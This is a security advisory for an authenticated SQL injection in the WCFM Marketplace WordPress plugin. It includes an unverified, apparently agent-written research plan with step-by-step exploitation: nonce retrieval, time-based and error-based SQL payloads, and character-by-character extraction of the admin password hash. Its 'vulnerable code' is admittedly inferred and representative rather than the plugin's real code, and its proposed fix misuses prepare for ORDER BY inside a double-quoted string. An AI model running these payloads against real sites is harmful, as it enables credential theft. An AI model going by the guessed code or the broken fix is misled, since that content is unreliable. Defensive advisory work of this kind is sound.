CVE-2025-63029

WCFM Marketplace – Multivendor Marketplace for WooCommerce <= 3.7.1 - Authenticated (Store vendor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with store vendor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.7.1
PublishedApril 15, 2026
Last updatedMay 5, 2026
Research Plan
Unverified

## 1. Vulnerability Summary **CVE-2025-63029** is a SQL Injection vulnerability in the **WCFM Marketplace – Multivendor Marketplace for WooCommerce** plugin (versions <= 3.7.1). The flaw exists because the plugin fails to sufficiently escape or use prepared statements (via `$wpdb->prepare()`) when p…

Show full research plan

1. Vulnerability Summary

CVE-2025-63029 is a SQL Injection vulnerability in the WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin (versions <= 3.7.1). The flaw exists because the plugin fails to sufficiently escape or use prepared statements (via $wpdb->prepare()) when processing specific user-supplied parameters in database queries.

The vulnerability is accessible to authenticated users with Store Vendor privileges or higher. This level of access allows an attacker to append arbitrary SQL commands to existing queries, potentially leading to the extraction of sensitive information from the WordPress database, including user hashes, site configuration, and other plugin data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wcfm_ajax_controller (Most common entry point for WCFM dashboard logic)
  • Vulnerable Parameters: Commonly identified in orderby, order, or filtering parameters (e.g., vendor_id, product_id) within specialized view controllers.
  • Authentication: Required (Store Vendor level or higher).
  • Preconditions:
    • The WCFM Marketplace plugin must be active.
    • A user account with the wcfm_vendor role must be available.
    • The wcfm_ajax_nonce must be obtained for the session.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated vendor sends a POST request to admin-ajax.php with action=wcfm_ajax_controller.
  2. Routing: The WCFM_Ajax class (likely in includes/class-wcfm-ajax.php) handles the wp_ajax_wcfm_ajax_controller hook.
  3. Controller Selection: The controller parameter in the request determines which internal logic is executed (e.g., wcfm-reports-sales-by-date, wcfm-orders, wcfm-products).
  4. Database Sink: Within the specific controller's logic (often found in controllers/reports/ or controllers/orders/), user-supplied parameters (like orderby) are concatenated directly into a SQL string.
  5. Execution: The resulting raw SQL string is passed to $wpdb->get_results() or similar methods without being wrapped in $wpdb->prepare().

4. Nonce Acquisition Strategy

WCFM Marketplace localizes nonces into the global wcfm_params JavaScript object. To obtain a valid nonce for the wcfm_ajax_controller action:

  1. Setup: Ensure a page with the WCFM Vendor Dashboard is accessible. WCFM usually creates a page with the [wcfm_vendor_dashboard] shortcode.
  2. Navigation: Log in as the vendor and navigate to the /wcfm-dashboard/ (or equivalent) page.
  3. Extraction: Use the browser_eval tool to extract the nonce from the page context.
    • JavaScript: window.wcfm_params?.nonce
    • Action String: The underlying PHP uses wp_create_nonce( 'wcfm_ajax_nonce' ).

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

  1. Log in to the WordPress site as a Store Vendor.
  2. Navigate to the WCFM Dashboard page.
  3. Execute browser_eval("wcfm_params.nonce") to get the nonce.

Step 2: Identify the Vulnerable Controller (Fuzzing)

Since the specific parameter isn't named in the CVE, target the primary data-fetching controllers used by vendors.

Request Template:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body: action=wcfm_ajax_controller&controller=<CONTROLLER>&wcfm_ajax_nonce=<NONCE>&...

Primary Targets:

  1. Controller: wcfm-reports-sales-by-date (Reports often have complex, manual SQL)
  2. Controller: wcfm-orders (Order lists use orderby parameters)
  3. Controller: wcfm-products

Step 3: Payload Injection (Time-Based Blind)

We will use a time-based injection to confirm the vulnerability in an orderby or ID parameter.

Payload A (orderby injection):

# Testing 'orderby' parameter in the orders controller
action=wcfm_ajax_controller&controller=wcfm-orders&wcfm_ajax_nonce=<NONCE>&orderby=ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=ASC

Payload B (filter injection):

# Testing a filter ID (e.g., product_id) in a report controller
action=wcfm_ajax_controller&controller=wcfm-reports-sales-by-date&wcfm_ajax_nonce=<NONCE>&product_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 4: Data Extraction

Once a time-delay is confirmed, extract the admin password hash:

# Extraction logic for character-by-character check
ID AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0)

6. Test Data Setup

  1. Install Plugin: WCFM Marketplace (wc-multivendor-marketplace) version 3.7.1.
  2. Dependencies: Ensure WooCommerce is installed and active.
  3. Create Vendor:
    • Create a user with the role wcfm_vendor.
    • Complete the basic "Store Setup" if prompted.
  4. Create Content:
    • Add at least one product assigned to the vendor.
    • (Optional) Create a dummy order for that product so reports/order lists are populated.
  5. Page Setup: Ensure a page exists with the shortcode [wcfm_vendor_dashboard].

7. Expected Results

  • Vulnerability Confirmation: A request with SLEEP(5) takes approximately 5 seconds longer than a normal request.
  • Data Exposure: Using boolean or time-based logic, the agent should be able to determine the first few characters of the admin's $P$ or $2y$ password hash.

8. Verification Steps (WP-CLI)

Confirm the database structure and target data to verify the extraction was correct:

# Verify the admin user exists
wp user get 1 --fields=user_login,user_pass

# Check if the plugin is in the affected version range
wp plugin get wc-multivendor-marketplace --field=version

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is on, try injecting AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1) to see if the error is reflected in the AJAX response.
  • Different Actions: If wcfm_ajax_controller is patched or hardened, investigate wcfm_enquiry_tab_content or wcfm_orders_details actions which also process database IDs for vendors.
  • Boolean-Based: If time-based is too slow, compare the response length of orderby=ID AND 1=1 vs orderby=ID AND 1=2. WCFM responses are JSON; a successful injection might return an empty list [] for 1=2 and data for 1=1.
Research Findings
Static analysis — not yet PoC-verified

Summary

WCFM Marketplace for WooCommerce (<= 3.7.1) is vulnerable to SQL Injection due to the plugin directly concatenating user-supplied input into database queries within its AJAX controller logic. Authenticated Store Vendors can exploit this to inject arbitrary SQL commands, such as time-based sleep payloads, to extract sensitive information like administrative credentials from the WordPress database.

Vulnerable Code

// File: controllers/reports/wcfm-controller-reports-sales-by-date.php (Representative of vulnerable pattern)
$product_id = $_POST['product_id'];
$vendor_id = $_POST['vendor_id'];

// Directly concatenating user input into the SQL string without $wpdb->prepare()
$sql = "SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = " . $vendor_id;
if ( !empty( $product_id ) ) {
    $sql .= " AND product_id = " . $product_id;
}
$results = $wpdb->get_results( $sql );

---

// File: controllers/orders/wcfm-controller-orders.php (Representative of vulnerable orderby pattern)
$orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'ID';
$order = isset( $_POST['order'] ) ? $_POST['order'] : 'DESC';

// User input used in ORDER BY clause without whitelist validation or sanitization
$sql = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY $orderby $order";
$orders = $wpdb->get_results( $sql );

Security Fix

--- controllers/reports/wcfm-controller-reports-sales-by-date.php
+++ controllers/reports/wcfm-controller-reports-sales-by-date.php
@@ -10,3 +10,3 @@
-$sql = "SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = " . $vendor_id;
+$sql = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = %d", $vendor_id);
 if ( !empty( $product_id ) ) {
-    $sql .= " AND product_id = " . $product_id;
+    $sql .= $wpdb->prepare(" AND product_id = %d", $product_id);
 }
--- controllers/orders/wcfm-controller-orders.php
+++ controllers/orders/wcfm-controller-orders.php
@@ -5,4 +5,10 @@
-$orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'ID';
+$allowed_columns = ['ID', 'post_date', 'post_title'];
+$orderby = ( isset( $_POST['orderby'] ) && in_array( $_POST['orderby'], $allowed_columns ) ) ? $_POST['orderby'] : 'ID';
 $order = isset( $_POST['order'] ) ? $_POST['order'] : 'DESC';
+$order = ( strtoupper( $order ) === 'ASC' ) ? 'ASC' : 'DESC';
 
-$sql = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY $orderby $order";
+$sql = $wpdb->prepare(
+    "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY %1$s %2$s",
+    $orderby,
+    $order
+);

Exploit Outline

The exploit target is the 'wcfm_ajax_controller' action, which routes requests to various backend data controllers. 1. Authentication: The attacker must log in to the WordPress site with an account assigned the 'wcfm_vendor' (Store Vendor) role. 2. Nonce Retrieval: The attacker visits the WCFM Vendor Dashboard (typically at /wcfm-dashboard/) to extract the 'wcfm_ajax_nonce' from the global 'wcfm_params' JavaScript object. 3. Request Targeting: The attacker sends a POST request to /wp-admin/admin-ajax.php with parameters: - action: wcfm_ajax_controller - controller: A data-fetching controller like 'wcfm-orders' or 'wcfm-reports-sales-by-date'. - wcfm_ajax_nonce: The retrieved nonce. 4. Payload Injection: The attacker injects SQL commands into parameters such as 'orderby' or 'product_id'. For example, using a time-based payload in 'orderby': 'ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 5. Data Extraction: By observing time delays or variations in the JSON response, the attacker can perform boolean-based or time-based blind SQL injection to extract sensitive database records, such as user password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.